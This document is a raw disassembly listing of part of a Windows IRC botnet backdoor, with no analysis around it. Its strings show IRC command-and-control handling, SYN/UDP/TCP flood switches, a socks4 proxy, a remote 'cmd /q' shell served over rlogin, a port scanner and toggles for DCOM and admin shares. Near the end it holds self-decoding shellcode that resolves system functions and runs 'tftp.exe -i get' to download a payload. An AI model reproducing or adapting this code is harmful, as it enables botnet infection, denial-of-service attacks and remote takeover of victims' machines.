dword_42E00C dd 736F6464h, 6E69702Eh, 666F2E67h, 66h ; DATA XREF: sub_40D2E0+1197o dword_42E01C dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40D2E0+118Co dword_42E028 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40D2E0+1187o dword_42E034 dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ; DATA XREF: sub_40D2E0+116Eo dword_42E044 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40D2E0+1163o dword_42E050 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40D2E0+115Eo dword_42E05C dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ; DATA XREF: sub_40D2E0+1145o dword_42E06C dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40D2E0+113Ao dword_42E078 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40D2E0+1135o dword_42E084 dd 736F6464h, 66666F2Eh, 0 ; DATA XREF: sub_40D2E0+111Co dword_42E090 dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40D2E0+1111o dword_42E0A0 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40D2E0+110Co aProxy_redirect db 'proxy.redirect.off',0 ; DATA XREF: sub_40D2E0+10F3o align 4 dword_42E0C4 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40D2E0+10E8o dword_42E0D0 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40D2E0+10E3o dword_42E0DC dd 2E676F6Ch, 66666Fh ; DATA XREF: sub_40D2E0+10CAo dword_42E0E4 dd 74026802h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40D2E0+10C2o dword_42E0F0 dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40D2E0+10A4o dword_42E100 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh ; DATA XREF: sub_40D2E0+109Co aDaemon_rlogin_ db 'daemon.rlogin.off',0 ; DATA XREF: sub_40D2E0+107Eo align 4 dword_42E124 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40D2E0+105Co aServer db 'Server',0 ; DATA XREF: sub_40D2E0+1057o ; sub_40D2E0+1097o ... align 4 aProxy_socks4_0 db 'proxy.socks4.off',0 ; DATA XREF: sub_40D2E0+103Eo align 10h aProxy_s4_on db 'proxy.s4.on',0 ; DATA XREF: sub_40D2E0+1029o aProxy_socks4_o db 'proxy.socks4.on',0 ; DATA XREF: sub_40D2E0+1014o aLd_off db 'ld.off',0 ; DATA XREF: sub_40D2E0+FFFo align 4 aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40D2E0+FEAo align 4 aLd_on db 'ld.on',0 ; DATA XREF: sub_40D2E0+FD5o align 4 aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40D2E0+FC0o aVer db 'ver',0 ; DATA XREF: sub_40D2E0+FABo aIrc_version db 'irc.version',0 ; DATA XREF: sub_40D2E0+F96o aLo db 'lo',0 ; DATA XREF: sub_40D2E0+F81o align 4 aIrc_logout db 'irc.logout',0 ; DATA XREF: sub_40D2E0+F6Co align 4 aIrc_di db 'irc.di',0 ; DATA XREF: sub_40D2E0+F57o align 10h aIrc_die db 'irc.die',0 ; DATA XREF: sub_40D2E0+F42o aRn db 'rn',0 ; DATA XREF: sub_40D2E0+F2Do align 4 aIrc_rndnick db 'irc.rndnick',0 ; DATA XREF: sub_40D2E0+F15o a63 db '63',0 ; DATA XREF: sub_40D2E0+DEEo align 4 asc_42E1DC: ; DATA XREF: sub_40D2E0+DC6o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_40D2E0+D89o align 4 aServer_0 db '$server',0 ; DATA XREF: sub_40D2E0+D7Eo aRndnick db '$rndnick',0 ; DATA XREF: sub_40D2E0+D6Do align 4 aChan db '$chan',0 ; DATA XREF: sub_40D2E0+D51o align 4 aUser_2 db '$user',0 ; DATA XREF: sub_40D2E0+D40o align 4 aMe_0 db '$me',0 ; DATA XREF: sub_40D2E0+D2Eo aD db '$%d',0 ; DATA XREF: sub_40D2E0+CC0o aD_0 db '$%d-',0 ; DATA XREF: sub_40D2E0+C05o align 4 aC_0: ; DATA XREF: sub_40D2E0+B19o unicode 0, <c>,0 dword_42E220 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+AE4o dd 2BBBB02h aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0 dword_42E260 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+AD6o dd 2BBBB02h aChatAlreadyAct db ' Chat already active with user: %s.',0 align 10h dword_42E2A0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+AC8o dd 2BBBB02h aFailedToSta_29 db ' Failed to start chat thread, error: <%d>.',0 dword_42E2E4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+A59o dd 2BBBB02h aChatFromUserS_ db ' Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_40D2E0+9BFo align 4 dword_42E31C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+99Co dd 2BBBB02h aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 dword_42E36C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+984o ; sub_40D2E0+4ABCo dd 2BBBB02h aFailedToSta_30 db ' Failed to start transfer thread, error: <%d>.',0 dword_42E3B4 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_40D2E0+973o dd 0A0Dh dword_42E3CC dd 4E495001h, 47h ; DATA XREF: sub_40D2E0+93Fo aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40D2E0+8F9o align 10h dword_42E3F0 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40D2E0+8DCo dd 0D017325h, 0Ah dword_42E40C dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40D2E0+8ABo dword_42E418 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+791o dd 2BBBB02h aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0 aSend_0 db 'SEND',0 ; DATA XREF: sub_40D2E0+6E8o align 4 dword_42E45C dd 43434401h, 0 ; DATA XREF: sub_40D2E0+6CAo dword_42E464 dd 323333h ; DATA XREF: sub_40D2E0+651o ; sub_40D2E0+B4Fo ... dword_42E468 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+5D2o dd 2BBBB02h aUserSLoggedOut db ' User: %s logged out.',0 align 4 dword_42E498 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+5ABo dd 2BBBB02h aJoinedChanne_0 db ' Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_40D2E0+574o aPart db 'PART',0 ; DATA XREF: sub_40D2E0+526o ; sub_40D2E0+5EFo align 4 aSS_1 db ':%s%s',0 ; DATA XREF: sub_40D2E0+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_40D2E0+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0+371o ; sub_40D2E0+613o dword_42E4F4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+355o ; sub_40D2E0+5FF4o ... dd 2BBBB02h aUserSLoggedO_0 db ' User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: sub_40D2E0+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0+28Do ; sub_40D2E0+4EB7o ... align 4 a433 db '433',0 ; DATA XREF: sub_40D2E0+262o a@: ; DATA XREF: sub_40D2E0+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40D2E0+22Ao a005 db '005',0 ; DATA XREF: sub_40D2E0+215o a001 db '001',0 ; DATA XREF: sub_40D2E0+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0+1E4o ; sub_40D2E0+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_40D2E0+1A9o align 10h asc_42E570: ; DATA XREF: sub_40D2E0+19Ao ; sub_40D2E0+60FBo unicode 0, <!>,0 asc_42E574 db ' :',0 ; DATA XREF: sub_40D2E0+86o ; sub_40D2E0:loc_40DE87o align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4135F8+120o align 4 unk_42E584 db 2 ; DATA XREF: sub_4137A9:loc_413830o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aProcessListFai db 'Process list failed.',0 align 4 unk_42E5BC db 2 ; DATA XREF: sub_4137A9+80o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aProcessListCom db 'Process list completed.',0 unk_42E5F4 db 2 ; DATA XREF: sub_4137A9+19o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aListingProcess db 'Listing processes:',0 align 4 dword_42E628 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4138EE+1E9o dd 2029671Fh, 2BBBB02h aUserLoggedOutS db ' User logged out: <%s@%s>.',0 dword_42E660 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4138EE+1C2o dd 2029671Fh, 2BBBB02h aErrorSessionru db ' Error: SessionRun(): <%d>.',0 align 4 dword_42E69C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4138EE+1A2o dd 2029671Fh, 2BBBB02h aUserLoggedInS@ db ' User logged in: <%s@%s>.',0 align 4 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_4138EE+172o align 4 dword_42E6E8 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4138EE+E1o dd 2029671Fh, 2BBBB02h aErrorGetpeerna db ' Error: getpeername(): <%d>.',0 align 4 dword_42E724 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_413AF3:loc_413B38o dd 2029671Fh, 2BBBB02h aProtocolString db ' Protocol string too long.',0 dword_42E75C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_413B4D+1Bo dd 2029671Fh, 2BBBB02h aLoginRejectedR db ' Login rejected, Remote user: <%s@%s>.',0 dword_42E7A0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_413B7C+219o dd 2029671Fh, 2BBBB02h aErrorServerF_0 db ' Error: server failed, returned: <%d>.',0 dword_42E7E4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_413B7C+1FBo dd 2029671Fh, 2BBBB02h aFailedToSta_31 db ' Failed to start client thread, error: <%d>.',0 align 10h dword_42E830 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_413B7C+177o dd 2029671Fh, 2BBBB02h aClientConnec_2 db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 4 dword_42E884 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_413B7C+106o dd 2029671Fh, 2BBBB02h aReadyAndWaitin db ' Ready and waiting for incoming connections.',0 align 10h dword_42E8D0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_413B7C+70o dd 2029671Fh, 2BBBB02h aFailedToInstal db ' Failed to install control-C handler, error: <%d>.',0 dword_42E920 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_413B7C+3Do dd 2029671Fh, 2BBBB02h, 72452020h, 3A726F72h, 41535720h dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 2 dup(0) aConst db 'const',0 align 4 dd 0 dword_42E96C dd 1 ; DATA XREF: sub_41416F+7o off_42E970 dd offset sub_413E04 ; DATA XREF: sub_41416F+49r aLetter db 'letter',0 align 10h dd 2, 413E62h, 706D6F63h, 2 dup(0) dd 3, 413EAFh, 6E756F63h, 797274h, 0 dd 4, 413F4Dh, 736Fh, 2 dup(0) dd 5, 413FC2h dword_42E9C4 dd 69257325h, 0 ; DATA XREF: sub_413E04+40o ; _0:00413F2Eo ... byte_42E9CC db 50h ; DATA XREF: _0:00413ED1o _0:00413EDEr db 43h, 2 dup(0) dword_42E9D0 dd 7C7325h ; DATA XREF: _0:00413F7Co ; sub_41416F+39o dword_42E9D4 dd 5D73255Bh, 7Ch ; DATA XREF: _0:00414086o dword_42E9DC dd 334B32h ; DATA XREF: _0:00414076o dword_42E9E0 dd 5D64255Bh, 7325h ; DATA XREF: sub_4140CC+3Ao dword_42E9E8 dd 5D4D5Bh ; DATA XREF: sub_4140CC+2Co ; sub_4140CC+57o unk_42E9EC db 2 ; DATA XREF: sub_4141D8+92o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0 unk_42EA24 db 2 ; DATA XREF: sub_4142A5+41o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 10h off_42EA60 dd offset dword_42EA98 ; DATA XREF: sub_4143F6+1B3o ; sub_41471A+17Ao dd 0 dd offset dword_42EA90 align 10h off_42EA70 dd offset dword_42EA8C ; DATA XREF: sub_41471A+1E3o dd offset dword_42EA88 dd offset dword_42EA84 dd offset dword_42EA80 dword_42EA80 dd 5C3A44h ; DATA XREF: sub_4143F6+217o ; _2:0042EA7Co dword_42EA84 dd 2444h ; DATA XREF: _2:0042EA78o dword_42EA88 dd 5C3A43h ; DATA XREF: _2:0042EA74o dword_42EA8C dd 2443h ; DATA XREF: _2:off_42EA70o dword_42EA90 dd 494D4441h, 244Eh ; DATA XREF: _2:0042EA68o dword_42EA98 dd 24435049h, 0 ; DATA XREF: _2:off_42EA60o unk_42EAA0 db 2 ; DATA XREF: sub_4143F6+2E5o ; sub_41471A+2DBo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 10h unk_42EAE0 db 2 ; DATA XREF: sub_4143F6+2CFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNetworkSharesD db ' Network shares deleted.',0 align 4 unk_42EB18 db 2 ; DATA XREF: sub_4143F6:loc_414658o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 4 unk_42EB54 db 2 ; DATA XREF: sub_4143F6+25Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 4 unk_42EB88 db 2 ; DATA XREF: sub_4143F6:loc_4145C5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 4 unk_42EBC4 db 2 ; DATA XREF: sub_4143F6+1C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 4 unk_42EBF8 db 2 ; DATA XREF: sub_4143F6:loc_414528o ; sub_41471A:loc_414848o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_42EC38 db 2 ; DATA XREF: sub_4143F6:loc_414521o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 4 unk_42EC84 db 2 ; DATA XREF: sub_4143F6:loc_414503o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 4 unk_42ECC8 db 2 ; DATA XREF: sub_4143F6+106o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_4143F6+EDo ; sub_41471A+EDo align 4 unk_42ED28 db 2 ; DATA XREF: sub_4143F6+91o ; sub_41471A+91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 4 dword_42ED68 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_4143F6:loc_414463o dd 2202967h, 2002BBBBh, 4F434420h, 6964204Dh, 6C626173h dd 2E6465h unk_42ED94 db 2 ; DATA XREF: sub_4143F6+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aDisableDcomFai db ' Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_4143F6+54o ; sub_41471A+54o align 4 word_42EDD4 dw 4Eh ; DATA XREF: sub_4143F6+38r align 4 unk_42EDD8 db 2 ; DATA XREF: sub_41471A+2C3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNetworkSharesA db ' Network shares added.',0 align 4 aC_1 db '%c:\',0 ; DATA XREF: sub_41471A+230o align 4 aC_2 db '%c$',0 ; DATA XREF: sub_41471A+219o unk_42EE18 db 2 ; DATA XREF: sub_41471A:loc_4148B9o ; sub_41471A:loc_41498Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0 align 10h unk_42EE50 db 2 ; DATA XREF: sub_41471A+198o ; sub_41471A+269o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0 align 10h unk_42EE80 db 2 ; DATA XREF: sub_41471A:loc_414841o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0 align 4 unk_42EECC db 2 ; DATA XREF: sub_41471A:loc_414823o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0 unk_42EF10 db 2 ; DATA XREF: sub_41471A+102o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0 dword_42EF5C dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_41471A:loc_414787o dd 2202967h, 2002BBBBh, 4F434420h, 6E65204Dh, 656C6261h dd 2E64h unk_42EF88 db 2 ; DATA XREF: sub_41471A+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aEnableDcomFail db ' Enable DCOM failed.',0 align 4 word_42EFBC dw 59h ; DATA XREF: sub_41471A+38r align 10h dword_42EFC0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_414A34+DEo dd 2029671Fh, 2BBBB02h aWaitformulti_0 db ' WaitForMultipleObjects error: <%d>.',0 align 4 dword_42F004 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_414A34+59o ; sub_414A34+8Bo dd 2029671Fh, 2BBBB02h aFailedToCrea_0 db ' Failed to create ReadShell session thread, error: <%d>.',0 align 4 dword_42F05C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_414B85+AFo dd 2029671Fh, 2BBBB02h aFailedToExecut db ' Failed to execute shell.',0 align 4 dword_42F094 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_414B85+7Eo dd 2029671Fh, 2BBBB02h aFailedToCrea_1 db ' Failed to create shell stdin pipe, error: <%d>.',0 align 4 dword_42F0E4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_414B85+5Co dd 2029671Fh, 2BBBB02h aFailedToCrea_2 db ' Failed to create shell stdout pipe, error: <%d>.',0 align 4 dword_42F134 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_414C7E+C3o dd 2029671Fh, 2BBBB02h aFailedToExec_0 db ' Failed to execute shell, error: <%d>.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_414C7E+8Co align 10h dword_42F180 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_414D57+A1o dd 2029671Fh, 2BBBB02h aSessionreadshe db ' SessionReadShellThread exited, error: <%ld>.',0 align 4 jmp short loc_42F1D0 ; --------------------------------------------------------------------------- loc_42F1CE: ; CODE XREF: _2:loc_42F1D0p jmp short loc_42F1D5 ; --------------------------------------------------------------------------- loc_42F1D0: ; CODE XREF: _2:0042F1CCj call loc_42F1CE loc_42F1D5: ; CODE XREF: _2:loc_42F1CEj pop ebx xor ecx, ecx mov cx, 0FFFFh loc_42F1DC: ; CODE XREF: _2:0042F1E1j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_42F1DC add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_42F1F2: ; CODE XREF: _2:0042F1F7j xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_42F1F2 ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_42F294 jnz short loc_42F280 retn ; --------------------------------------------------------------------------- loc_42F280: ; CODE XREF: _2:0042F27Dj _2:0042F28Dj call near ptr loc_42F285+1 loc_42F285: ; CODE XREF: _2:loc_42F280p add [edx+0], ch call sub_42F294 jz loc_42F280 retn ; =============== S U B R O U T I N E ======================================= sub_42F294 proc near ; CODE XREF: _2:0042F278p _2:0042F288p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_42F294 endp ; --------------------------------------------------------------------------- align 10h aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_414FE9+10o aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_4151BA+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_4151BA+35o dword_42F310 dd 0D51C685Bh ; DATA XREF: sub_4154D2+4w sub_4154DCr ... align 10h dword_42F320 dd 173Fh ; DATA XREF: sub_415E4A+Dr dd 9875h, 9873h off_42F32C dd offset sub_415F19 ; DATA XREF: sub_417BD8r 